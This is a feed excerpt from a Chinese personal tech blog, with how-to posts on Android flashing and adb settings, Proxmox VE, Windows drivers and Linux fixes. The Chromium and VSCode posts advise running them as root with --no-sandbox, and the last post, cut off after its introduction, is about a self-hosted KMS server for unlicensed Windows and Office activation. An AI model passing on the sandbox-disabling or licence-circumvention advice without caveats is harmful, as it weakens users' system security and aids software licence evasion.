<p>将修补后的 Boot 导入到电脑，通过 Fastboot 刷入。</p>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line">./fastboot flash boot <span class="token punctuation">[</span>修补后的boot.img路径<span class="token punctuation">]</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><figure><img src="https://img.hestudio.net/i/2024/07/11/668fc31b96ab4.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<ul>
<li>附件： <a href="https://xiaomirom.com/" target="_blank" rel="noopener noreferrer">小米线刷包下载</a></li>
</ul>
]]></content>
    <category term="Android"/>
    <published>2024-07-11T11:37:28.000Z</published>
  </entry>
  <entry>
    <title type="text">小米手机在Windows老版本系统使用USB网络共享</title>
    <id>https://www.hestudio.net/posts/open-rndis-on-old-system-with-xiaomi.html</id>
    <link href="https://www.hestudio.net/posts/open-rndis-on-old-system-with-xiaomi.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<p>在一些老版本的系统中，系统并没有内置 RNDIS 需要的驱动。这导致在手机上开启 USB 网络共享时，电脑并不能识别。</p>
<p>我在老家的 WindowsXP 老古董上网时遇到了这个问题。我的手机连接到电脑，打开 USB 网络驱动时候并没有连接到网络。在设备管理器里，RNDIS 设备标着黄色三角号，也就是没有驱动。</p>
<p>我从网络中搜索 RNDIS 的驱动，但是无法安装上。这个驱动可以匹配其他的安卓手机，但是不能匹配小米手机。我下载了小米的 winusb 驱动，在 RNDIS 报错页面安装了这个驱动之后可以正常使用了。</p>
<hr>
<p>首先，需要下载 winusb 驱动。</p>]]></summary>
    <content type="html"><![CDATA[<p>在一些老版本的系统中，系统并没有内置 RNDIS 需要的驱动。这导致在手机上开启 USB 网络共享时，电脑并不能识别。</p>
<p>我在老家的 WindowsXP 老古董上网时遇到了这个问题。我的手机连接到电脑，打开 USB 网络驱动时候并没有连接到网络。在设备管理器里，RNDIS 设备标着黄色三角号，也就是没有驱动。</p>
<p>我从网络中搜索 RNDIS 的驱动，但是无法安装上。这个驱动可以匹配其他的安卓手机，但是不能匹配小米手机。我下载了小米的 winusb 驱动，在 RNDIS 报错页面安装了这个驱动之后可以正常使用了。</p>
]]></content>
    <category term="Windows"/>
    <published>2024-07-10T11:17:12.000Z</published>
  </entry>
  <entry>
    <title type="text">Proxmox VE (PVE) 教学 (3) | 在 Proxmox VE 中安装与配置 OpenWrt</title>
    <id>https://www.hestudio.net/posts/pve-3-openwrt.html</id>
    <link href="https://www.hestudio.net/posts/pve-3-openwrt.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<p>大家好，很长时间没有更新这个系列了。最近正在开发新项目，刚刚想起来我是不是还有一个什么专栏没更新。</p>
<p>本期的网络配置背景同于前两期的描述（ 详见<a href="https://www.hestudio.net/category/proxmox-ve/" target="_blank" rel="noopener noreferrer">https://www.hestudio.net/category/proxmox-ve/</a> ），这一期只是对网络配置的扩展，也就是安装软路由，实现网络配置的更多功能。</p>
<hr>
<h3>安装</h3>
<p>工欲善其事，必先利其器。我们如果想配置 OpenWrt，首先需要安装它。</p>]]></summary>
    <content type="html"><![CDATA[<p>大家好，很长时间没有更新这个系列了。最近正在开发新项目，刚刚想起来我是不是还有一个什么专栏没更新。</p>
<p>本期的网络配置背景同于前两期的描述（ 详见<a href="https://www.hestudio.net/category/proxmox-ve/" target="_blank" rel="noopener noreferrer">https://www.hestudio.net/category/proxmox-ve/</a> ），这一期只是对网络配置的扩展，也就是安装软路由，实现网络配置的更多功能。</p>
]]></content>
    <category term="Proxmox VE"/>
    <published>2024-06-13T05:05:34.000Z</published>
  </entry>
  <entry>
    <title type="text">Proxmox VE (PVE) 教学 (2) | 网络配置</title>
    <id>https://www.hestudio.net/posts/pve-2-network-interface.html</id>
    <link href="https://www.hestudio.net/posts/pve-2-network-interface.html"/>
    <updated>2025-12-27T06:59:09.000Z</updated>
    <summary type="html"><![CDATA[<p>在这篇文章中，我将记录我在网络配置上遇到的问题以及填坑方案。如果这里面也有你遇到的问题，你可以按需阅读。</p>
<h3>更改默认绑定网卡</h3>
<p>我在安装 PVE 之后，将该硬盘移到其他机器上，由于硬件设施的变动，导致我们无法连接进入服务器。我们需要修改<code>/etc/network/interfaces</code>文件。</p>
<p>在 PVE 中，默认安装的文件编辑器是<code>nano</code>，我们使用<code>nano</code>编辑<code>/etc/network/interfaces</code>文件。</p>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line"><span class="token function">nano</span> /etc/network/interfaces</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div>]]></summary>
    <content type="html"><![CDATA[<p>在这篇文章中，我将记录我在网络配置上遇到的问题以及填坑方案。如果这里面也有你遇到的问题，你可以按需阅读。</p>
<h3>更改默认绑定网卡</h3>
<p>我在安装 PVE 之后，将该硬盘移到其他机器上，由于硬件设施的变动，导致我们无法连接进入服务器。我们需要修改<code>/etc/network/interfaces</code>文件。</p>
<p>在 PVE 中，默认安装的文件编辑器是<code>nano</code>，我们使用<code>nano</code>编辑<code>/etc/network/interfaces</code>文件。</p>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line"><span class="token function">nano</span> /etc/network/interfaces</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><!-- more -->
]]></content>
    <category term="Proxmox VE"/>
    <published>2024-04-21T17:25:17.000Z</published>
  </entry>
  <entry>
    <title type="text">Proxmox VE (PVE) 教学 (1) | 介绍与安装</title>
    <id>https://www.hestudio.net/posts/pve-1-welcome.html</id>
    <link href="https://www.hestudio.net/posts/pve-1-welcome.html"/>
    <updated>2025-12-27T06:59:09.000Z</updated>
    <summary type="html"><![CDATA[<p>在？好久没更新了，最近在研究 pve，这不刚研究透彻，所以就先记录一下吧。最近我会集中推出关于 Proxmox VE 的系列文章，该部分将会在<a href="http://t.csdnimg.cn/h8fiC" target="_blank" rel="noopener noreferrer">CSDN 专栏</a>同步更新，欢迎订阅，当然你也可以订阅博客的该<a href="/category/proxmox-ve/" target="_blank">分类</a>。</p>
<h3>介绍 | Proxmox VE：强大而灵活的开源虚拟化平台</h3>
<p>Proxmox Virtual Environment，简称 Proxmox VE，是一款专为企业级应用场景设计的开源虚拟化管理平台，以其高度集成、易于使用和卓越的性能而备受赞誉。基于 Debian Linux 稳健的基础，Proxmox VE 提供了一个统一的解决方案来部署、管理和监控虚拟机（VMs）及轻量级容器（Containers），实现计算、网络和存储资源的高度整合与优化。以下是对 Proxmox VE 主要特性和优势的详细介绍：</p>]]></summary>
    <content type="html"><![CDATA[<p>在？好久没更新了，最近在研究 pve，这不刚研究透彻，所以就先记录一下吧。最近我会集中推出关于 Proxmox VE 的系列文章，该部分将会在<a href="http://t.csdnimg.cn/h8fiC" target="_blank" rel="noopener noreferrer">CSDN 专栏</a>同步更新，欢迎订阅，当然你也可以订阅博客的该<a href="/category/proxmox-ve/" target="_blank">分类</a>。</p>
<h3>介绍 | Proxmox VE：强大而灵活的开源虚拟化平台</h3>
<p>Proxmox Virtual Environment，简称 Proxmox VE，是一款专为企业级应用场景设计的开源虚拟化管理平台，以其高度集成、易于使用和卓越的性能而备受赞誉。基于 Debian Linux 稳健的基础，Proxmox VE 提供了一个统一的解决方案来部署、管理和监控虚拟机（VMs）及轻量级容器（Containers），实现计算、网络和存储资源的高度整合与优化。以下是对 Proxmox VE 主要特性和优势的详细介绍：</p>
<h4>核心技术</h4>
<ol>
<li>双模虚拟化：
<ul>
<li>
<p>KVM（Kernel-based Virtual Machine）：作为主流的硬件虚拟化技术，KVM 使 Proxmox VE 能够创建和运行全功能的虚拟机，充分利用硬件虚拟化支持（如 Intel VT 或 AMD-V），为每个 VM 提供接近裸金属的性能和隔离性。KVM VM 支持各种操作系统，包括 Windows、Linux 以及其他类 UNIX 系统。</p>
</li>
<li>
<p>LXC（Linux Containers）：Proxmox VE 还支持基于 Linux 内核的容器技术，即 LXC。容器提供了轻量级的隔离环境，共享主机内核，适用于快速启动、低开销的应用场景，尤其适合运行相同或相似 Linux 发行版的服务或微服务架构。</p>
</li>
</ul>
</li>
</ol>
<h4>特性与功能</h4>
<ol start="2">
<li>
<p>Web 管理界面：</p>
<ul>
<li>Proxmox VE 提供了一个直观、基于浏览器的管理界面，无需额外安装客户端软件。管理员可以轻松地创建、配置、迁移、备份和恢复虚拟机及容器，监控资源使用情况，以及管理存储、网络、防火墙规则等。</li>
</ul>
</li>
<li>
<p>集群支持：</p>
<ul>
<li>Proxmox VE 允许将多个节点组成集群，实现资源的集中管理和高可用性。集群中的节点可以协同工作，提供故障转移、负载均衡和资源共享等功能，确保业务连续性和扩展性。</li>
</ul>
</li>
<li>
<p>存储管理：</p>
<ul>
<li>支持多种存储后端，包括本地磁盘、网络存储（如 iSCSI、NFS、Ceph 等），并提供高级特性如 thin provisioning、快照、复制和备份，以满足不同级别的数据保护和效率需求。</li>
</ul>
</li>
<li>
<p>备份与恢复：</p>
<ul>
<li>内建的备份系统允许对虚拟机和容器进行定期或按需备份，备份数据可以存储在本地或远程位置，并支持增量备份和压缩以节省空间。恢复过程简单快捷，确保在灾难恢复场景下能够迅速恢复服务。</li>
</ul>
</li>
<li>
<p>网络与安全：</p>
<ul>
<li>集成的防火墙功能允许为每个 VM 或容器定义详细的网络访问规则，确保网络安全。支持 VLAN、IPsec VPN、负载均衡器等网络服务，便于构建复杂的企业级网络架构。</li>
</ul>
</li>
<li>
<p>模板与快照：</p>
<ul>
<li>提供系统模板功能，简化新 VM 或容器的部署过程。通过创建和使用模板，用户可以快速复制预配置好的系统环境。此外，快照功能允许捕获虚拟资源某一时刻的状态，用于快速回滚或克隆。</li>
</ul>
</li>
</ol>
<h4>开源与社区</h4>
<ol start="8">
<li>
<p>完全开源：</p>
<ul>
<li>Proxmox VE 是一款遵循 GPLv2 许可协议的开源软件，这意味着用户可以免费下载、使用、修改和分发源代码，无需支付任何许可证费用。这种开放性不仅降低了总体拥有成本，也鼓励了社区贡献和第三方集成。</li>
</ul>
</li>
<li>
<p>活跃社区与生态系统：</p>
<ul>
<li>Proxmox VE 拥有一个庞大的全球用户社区，用户可以通过论坛、文档、教程和博客获取技术支持和最佳实践。丰富的插件和第三方工具进一步扩展了平台的功能，形成一个生机勃勃的生态系统。</li>
</ul>
</li>
</ol>
<blockquote>
<p>介绍部分由国产大模型“通义千问”自动生成。</p>
</blockquote>
<h3>安装</h3>
<h4>1. 下载镜像</h4>
<p>我们首先进入 <a href="https://www.proxmox.com/en/proxmox-virtual-environment/overview" target="_blank" rel="noopener noreferrer">Proxmox VE 官网</a>，找到<code>Download</code>按钮。</p>
<figure><img src="https://img.hestudio.net/i/2024/04/20/6622ace340216.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>我们直接下载最新版本的 Proxmox VE 镜像。</p>
<figure><img src="https://img.hestudio.net/i/2024/04/20/6622ad4343002.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>在下载完成之后，你需要制作一个安装盘以用于在服务器上引导安装。这边推荐使用<a href="https://rufus.ie/zh/" target="_blank" rel="noopener noreferrer">Refus</a>.如果你使用 Vertoy，你仅仅只需要镜像放置在移动储存设备中。</p>
<h4>2. 启动安装</h4>
<p>在继续以下的内容，我们默认你已经制作启动盘和知晓你服务器的 BIOS 选择启动设备的按钮（如<code>F12</code>）。如果你并不知道这些，请先自行搜索或者咨询你的服务器硬件厂商。</p>
<p>在你启动后，你将看到以下界面：</p>
<figure><img src="https://img.hestudio.net/i/2024/04/20/6622af96067b3.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>这说明你已经成功启动了安装程序。按下<code>Enter</code>键，进入安装界面。等待一会，然后进行后面的安装进程。</p>
]]></content>
    <category term="Proxmox VE"/>
    <published>2024-04-19T19:25:56.000Z</published>
  </entry>
  <entry>
    <title type="text">在 AOSP / Android 类原生系统上解决 Wifi 连接警告问题</title>
    <id>https://www.hestudio.net/posts/wlan-ok-on-aosp.html</id>
    <link href="https://www.hestudio.net/posts/wlan-ok-on-aosp.html"/>
    <updated>2025-12-27T06:59:09.000Z</updated>
    <summary type="html"><![CDATA[<p>自 Android 5.0 起，谷歌引入了<code>Captive Portal</code>的机制，用于检测 WiFi 网络认证是否正常。由于众所周知的原因，我们在中国大陆并无法访问谷歌的网络，这在某些情况下会导致一些问题，例如：在中国大陆使用一些类原生的 ROM 时，会提示<code>Wifi连接正常，但无法访问互联网</code>。</p>
<!--more-->
<p>我们可以通过打开 USB 调试，并执行以下命令来修复这个问题。</p>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line">adb shell settings put global captive_portal_http_url http://api.hestudio.net/generate_204</span>
<span class="line">adb shell settings put global captive_portal_https_url https://api.hestudio.net/generate_204</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div>]]></summary>
    <content type="html"><![CDATA[<p>自 Android 5.0 起，谷歌引入了<code>Captive Portal</code>的机制，用于检测 WiFi 网络认证是否正常。由于众所周知的原因，我们在中国大陆并无法访问谷歌的网络，这在某些情况下会导致一些问题，例如：在中国大陆使用一些类原生的 ROM 时，会提示<code>Wifi连接正常，但无法访问互联网</code>。</p>
<!--more-->
<p>我们可以通过打开 USB 调试，并执行以下命令来修复这个问题。</p>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line">adb shell settings put global captive_portal_http_url http://api.hestudio.net/generate_204</span>
<span class="line">adb shell settings put global captive_portal_https_url https://api.hestudio.net/generate_204</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><p>ss
详细解释：
我们通过替换<code>captive_portal_http_url</code>和<code>captive_portal_https_url</code>的值，来修复这个问题。我们将<code>captive_portal_http_url</code>和<code>captive_portal_https_url</code>更换为我们自己的 API，当然你也可以更换成其他的服务。</p>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line"><span class="token comment"># MIUI</span></span>
<span class="line">adb shell settings put global captive_portal_http_url http://connect.rom.miui.com/generate_204</span>
<span class="line">adb shell settings put global captive_portal_https_url https://connect.rom.miui.com/generate_204</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></content>
    <category term="Android"/>
    <published>2024-04-09T18:06:21.000Z</published>
  </entry>
  <entry>
    <title type="text">heStudio Authenticator</title>
    <id>https://www.hestudio.net/common/authenticator/</id>
    <link href="https://www.hestudio.net/common/authenticator/"/>
    <updated>2026-03-01T17:46:10.000Z</updated>
    <summary type="html"><![CDATA[<p>在整整一年前，我设想了一个完全由我们开发的 MFA 令牌软件。由于时间的原因，该计划被一次次的搁置。终于，在 2024 年，本计划被再次重启，历经三个月（的夜晚）打造的媲美于 Microsoft Authenticator 的完全由我们开发的 MFA 令牌软件诞生了。感谢各界人士的鼓舞，谢谢！！</p>
<p>正如上文所说，heStudio Authenticator 是一个媲美于 Microsoft Authenticator 的完全由我们开发的 MFA 令牌软件。不同于其他类似软件，我们随着<code>v1.1.0</code>的版本的推送同步带来了手表（Android）版本。我们利用手表的便携性，让你即使在未携带手机的情况下，也可以快速的通过随身佩戴的手表快速查看令牌。</p>]]></summary>
    <content type="html"><![CDATA[<p>在整整一年前，我设想了一个完全由我们开发的 MFA 令牌软件。由于时间的原因，该计划被一次次的搁置。终于，在 2024 年，本计划被再次重启，历经三个月（的夜晚）打造的媲美于 Microsoft Authenticator 的完全由我们开发的 MFA 令牌软件诞生了。感谢各界人士的鼓舞，谢谢！！</p>
<p>正如上文所说，heStudio Authenticator 是一个媲美于 Microsoft Authenticator 的完全由我们开发的 MFA 令牌软件。不同于其他类似软件，我们随着<code>v1.1.0</code>的版本的推送同步带来了手表（Android）版本。我们利用手表的便携性，让你即使在未携带手机的情况下，也可以快速的通过随身佩戴的手表快速查看令牌。</p>
<h3>2.x 版本发布预告</h3>
<p>我们预计在 2025 年初期重构该项目并发布面向大众的 heStudio Authenticator 2.x 版本。此次会带给大家更好的跨平台体验，敬请期待！！</p>
<h3>下载/体验</h3>
<figure><img src="https://img.hestudio.net/i/2024/03/12/65ef52182214b.png" alt="微信小程序（手机）版 （1.x）" tabindex="0" loading="lazy"><figcaption>微信小程序（手机）版 （1.x）</figcaption></figure>
<h4>Chrome 扩展（2.x）</h4>
]]></content>
    <category term="软件发布"/>
    <published>2024-03-11T19:21:33.000Z</published>
  </entry>
  <entry>
    <title type="text">在LTSC版本的Windows上安装Microsoft Store</title>
    <id>https://www.hestudio.net/posts/install-msstore-on-ltsc.html</id>
    <link href="https://www.hestudio.net/posts/install-msstore-on-ltsc.html"/>
    <updated>2024-12-10T14:04:03.000Z</updated>
    <summary type="html"><![CDATA[<p>LTSC 版本的 Windows 相对于常规版本的 Windows 移除了非必需的系统组件和更宽松的更新策略，在运行效率的优于常规版本的 Windous。这个特点使得一些比较低端的电脑可以流畅的运行 Windows。</p>
<p>但是，一些软件仅在 Microsoft Store 提供，我个人使用的就是 LTSC 的系统，如果要下载 Minecraft 的话就需要 Microsoft Store。Microsoft Store 提供了更严格的应用审核机制，可以保证安装的应用不会再你的电脑中乱搞。</p>
<hr>
<p>下面介绍如何在 LTSC 版本的 Windows 上安装 Microsoft Store</p>]]></summary>
    <content type="html"><![CDATA[<p>LTSC 版本的 Windows 相对于常规版本的 Windows 移除了非必需的系统组件和更宽松的更新策略，在运行效率的优于常规版本的 Windous。这个特点使得一些比较低端的电脑可以流畅的运行 Windows。</p>
<p>但是，一些软件仅在 Microsoft Store 提供，我个人使用的就是 LTSC 的系统，如果要下载 Minecraft 的话就需要 Microsoft Store。Microsoft Store 提供了更严格的应用审核机制，可以保证安装的应用不会再你的电脑中乱搞。</p>
]]></content>
    <category term="Windows"/>
    <published>2024-01-10T17:16:13.000Z</published>
  </entry>
  <entry>
    <title type="text">OPPO Watch纯手机开启远程ADB调试</title>
    <id>https://www.hestudio.net/posts/open-wifiadb-on-androidwatch.html</id>
    <link href="https://www.hestudio.net/posts/open-wifiadb-on-androidwatch.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<p>Wear OS 手表中，我们可以直接在开发者设置中打开 WiFi 调试。但是这在 OPPO 等魔改 Android 系统中不再奏效。</p>
<figure><img src="https://img.hestudio.net/i/2023/11/12/654fa6d986e99.png" alt="按照手机逻辑处理" tabindex="0" loading="lazy"><figcaption>按照手机逻辑处理</figcaption></figure>
<hr>
<h4>需要什么？？</h4>
<ul>
<li>手表一台</li>
<li>手机一个</li>
<li>OTG 转接头一个</li>
<li>手表充电器一个</li>
</ul>]]></summary>
    <content type="html"><![CDATA[<p>Wear OS 手表中，我们可以直接在开发者设置中打开 WiFi 调试。但是这在 OPPO 等魔改 Android 系统中不再奏效。</p>
<figure><img src="https://img.hestudio.net/i/2023/11/12/654fa6d986e99.png" alt="按照手机逻辑处理" tabindex="0" loading="lazy"><figcaption>按照手机逻辑处理</figcaption></figure>
]]></content>
    <category term="Android"/>
    <published>2023-11-11T18:27:38.000Z</published>
  </entry>
  <entry>
    <title type="text">修复 failed to execute child process &amp;apos;dbus-launch&amp;apos; 问题</title>
    <id>https://www.hestudio.net/posts/fix-failed-to-execute-child-process-dbus-launch.html</id>
    <link href="https://www.hestudio.net/posts/fix-failed-to-execute-child-process-dbus-launch.html"/>
    <updated>2024-12-10T14:04:03.000Z</updated>
    <summary type="html"><![CDATA[<p>在 kali-nethunter 2023.3 版本中，使用 VNC 链接桌面会报错<code>failed to execute child process 'dbus-launch'</code></p>
<figure><img src="https://img.hestudio.net/i/2023/10/02/651a16033273c.png" alt="受影响的版本" tabindex="0" loading="lazy"><figcaption>受影响的版本</figcaption></figure>
<figure><img src="https://img.hestudio.net/i/2023/10/02/651a15b079c03.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>]]></summary>
    <content type="html"><![CDATA[<p>在 kali-nethunter 2023.3 版本中，使用 VNC 链接桌面会报错<code>failed to execute child process 'dbus-launch'</code></p>
<figure><img src="https://img.hestudio.net/i/2023/10/02/651a16033273c.png" alt="受影响的版本" tabindex="0" loading="lazy"><figcaption>受影响的版本</figcaption></figure>
<figure><img src="https://img.hestudio.net/i/2023/10/02/651a15b079c03.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>在我咨询<a href="https://bugs.kali.org/view.php?id=8434" target="_blank" rel="noopener noreferrer">Kali Linux 社区</a>后，得到这么一个解决方案</p>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line"><span class="token function">sudo</span> <span class="token function">apt-get</span> update</span>
<span class="line"><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> dbus-x11</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div>]]></content>
    <category term="Linux"/>
    <published>2023-10-02T01:21:15.000Z</published>
  </entry>
  <entry>
    <title type="text">VSCode 在部分 Linux 设备上终端和文本编辑器显示文本不正常的解决方法</title>
    <id>https://www.hestudio.net/posts/fix-vscode-font-err-on-linux.html</id>
    <link href="https://www.hestudio.net/posts/fix-vscode-font-err-on-linux.html"/>
    <updated>2024-12-10T14:04:03.000Z</updated>
    <summary type="html"><![CDATA[<p>部分 Linux 设备上运行 VSCode 时，发现文本编辑器的缩放不明显，终端字体间距过大等。</p>
<figure><img src="https://img.hestudio.net/i/2023/09/16/6504994ccf087.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>这里以 Kali Linux 为例，其他 Linux 发行版请选择对应的系统内置的<strong>等宽字体</strong></p>
<p>我们依次打开 设置 -&gt; 外观 -&gt; 字体</p>]]></summary>
    <content type="html"><![CDATA[<p>部分 Linux 设备上运行 VSCode 时，发现文本编辑器的缩放不明显，终端字体间距过大等。</p>
<figure><img src="https://img.hestudio.net/i/2023/09/16/6504994ccf087.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>这里以 Kali Linux 为例，其他 Linux 发行版请选择对应的系统内置的<strong>等宽字体</strong></p>
<p>我们依次打开 设置 -&gt; 外观 -&gt; 字体</p>
<figure><img src="https://img.hestudio.net/i/2023/09/16/65049a672f45e.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>这里我们可以发现，Kali Linux 默认等宽字体系列是<code>'Fira Code'</code>，后续我们需要在 VSCode 内将字体改为<code>'Fira Code'</code></p>
]]></content>
    <category term="Linux"/>
    <published>2023-09-15T18:02:14.000Z</published>
  </entry>
  <entry>
    <title type="text">在ARM64的Kali Linux安装Chromium</title>
    <id>https://www.hestudio.net/posts/kali-arm64-imstall-chromium.html</id>
    <link href="https://www.hestudio.net/posts/kali-arm64-imstall-chromium.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<p>Kali Linux 默认预装 Firefox-ESR，但是有时候不兼容一些网页，而且部分设备无法运行。</p>
<figure><img src="https://img.hestudio.net/i/2023/08/15/64dacfed1e1dd.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>Chrome 不支持 Linux-arm64，这时候可以安装 Chromium.</p>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line"><span class="token function">apt</span> <span class="token function">install</span> chromium</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div>]]></summary>
    <content type="html"><![CDATA[<p>Kali Linux 默认预装 Firefox-ESR，但是有时候不兼容一些网页，而且部分设备无法运行。</p>
<figure><img src="https://img.hestudio.net/i/2023/08/15/64dacfed1e1dd.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>Chrome 不支持 Linux-arm64，这时候可以安装 Chromium.</p>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line"><span class="token function">apt</span> <span class="token function">install</span> chromium</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>部分 root 用户在安装后无法打开，是因为 Chromium 默认不允许在 root 用户状态下运行，可以通过一下方法修改。</p>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line"><span class="token function">vim</span> /etc/chromium.d/default-flags</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>打开后在最后一行加上</p>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line"><span class="token builtin class-name">export</span> <span class="token assign-left variable">CHROMIUM_FLAGS</span><span class="token operator">=</span><span class="token string">"<span class="token variable">$CHROMIUM_FLAGS</span> --password-store=detect --no-sandbox --user-data-dir"</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>最后保存，然后就可以在 root 下使用了。</p>
]]></content>
    <category term="Linux"/>
    <published>2023-08-15T01:15:33.000Z</published>
  </entry>
  <entry>
    <title type="text">VSCode 报错 grep： /proc/version： 权限不够</title>
    <id>https://www.hestudio.net/posts/vscode-permission-denied.html</id>
    <link href="https://www.hestudio.net/posts/vscode-permission-denied.html"/>
    <updated>2024-12-10T14:04:03.000Z</updated>
    <summary type="html"><![CDATA[<p>部分用户在 Linux 上运行 VSCode 提示<code>grep: /proc/version: 权限不够</code></p>
<p>grep: /proc/version: 权限不够</p>
<p>You are trying to start Visual Studio Code as a super user which isn't recommended. If this was intended, please add the argument <code>--no-sandbox</code> and specify an alternate user data directory using the <code>--user-data-dir</code> argument.</p>]]></summary>
    <content type="html"><![CDATA[<p>部分用户在 Linux 上运行 VSCode 提示<code>grep: /proc/version: 权限不够</code></p>
<p>grep: /proc/version: 权限不够</p>
<p>You are trying to start Visual Studio Code as a super user which isn't recommended. If this was intended, please add the argument <code>--no-sandbox</code> and specify an alternate user data directory using the <code>--user-data-dir</code> argument.</p>
<p>VSCode 默认不支持 root 用户启动，如果需要使用 root 用户启动，需在启动命令中加上<code>--no-sandbox</code></p>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line">/usr/share/code/code --no-sandbox --unity-launch</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div>]]></content>
    <category term="Linux"/>
    <published>2023-08-14T08:22:24.000Z</published>
  </entry>
  <entry>
    <title type="text">自己搭建一个KMS服务器</title>
    <id>https://www.hestudio.net/posts/build-a-kms-server-yourself.html</id>
    <link href="https://www.hestudio.net/posts/build-a-kms-server-yourself.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<div class="hint-container caution">
<p class="hint-container-title">阅读前提示</p>
<p>本文仅适合个人用户，商业用户使用该程序可能会面临法律风险！！！</p>
<p>建议有经济能力的读者支持正版。</p>
</div>
<p>知周所众，Windows 和 Office 不是免费软件。如果是新购买的品牌机，则应该预装有正版的 Windows 家庭版，部分用户还附赠 Office。但是，我相信我的读者一大部分用的是自己组装的电脑。</p>
<blockquote>
<p>像我一样的穷*用户应该有不少。</p>
</blockquote>]]></summary>
    <content type="html"><![CDATA[<div class="hint-container caution">
<p class="hint-container-title">阅读前提示</p>
<p>本文仅适合个人用户，商业用户使用该程序可能会面临法律风险！！！</p>
<p>建议有经济能力的读者支持正版。</p>
</div>
<p>知周所众，Windows 和 Office 不是免费软件。如果是新购买的品牌机，则应该预装有正版的 Windows 家庭版，部分用户还附赠 Office。但是，我相信我的读者一大部分用的是自己组装的电脑。</p>
<blockquote>
<p>像我一样的穷*用户应该有不少。</p>
</blockquote>
<figure><img src="https://img.hestudio.net/i/2023/07/28/64c3426e411f4.png" alt="今天晚上的饭应该怎么办？？" tabindex="0" loading="lazy"><figcaption>今天晚上的饭应该怎么办？？</figcaption></figure>
<p>像我这样的经常赶稿的忠实的巨硬用户虽说讨厌巨硬，但是也不能不用啊！！</p>
<p>（软件仅支持 windows，臣不得不用啊！！！）</p>
<p>然后再问一下，你们在遇到这种憋屈的情况都是怎么处理的？？评论区见。</p>
<figure><img src="https://img.hestudio.net/i/2023/07/28/64c342d6bd794.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>很想支持正版 Windows 和 Office，但是经济实力不允许的个人用户看过来。</p>
<figure><img src="https://img.hestudio.net/i/2023/07/28/64c342fb61a84.png" alt="这玩意都快赶上我服务器了。。。" tabindex="0" loading="lazy"><figcaption>这玩意都快赶上我服务器了。。。</figcaption></figure>
<p>对于这种不得不用的软件，我们肯定得想办法。对于网上的 kms 工具，它们需要我们的管理员权限。有的带自动续期的（kms 激活每 180 天验证一次）的又需要常驻后台。这在降低设备安全性（指不定给你塞什么东西 了）的前提下又影响设备性能，非常不划算。如果使用其他的 kms 服务器，又怕突然停服跑路。</p>
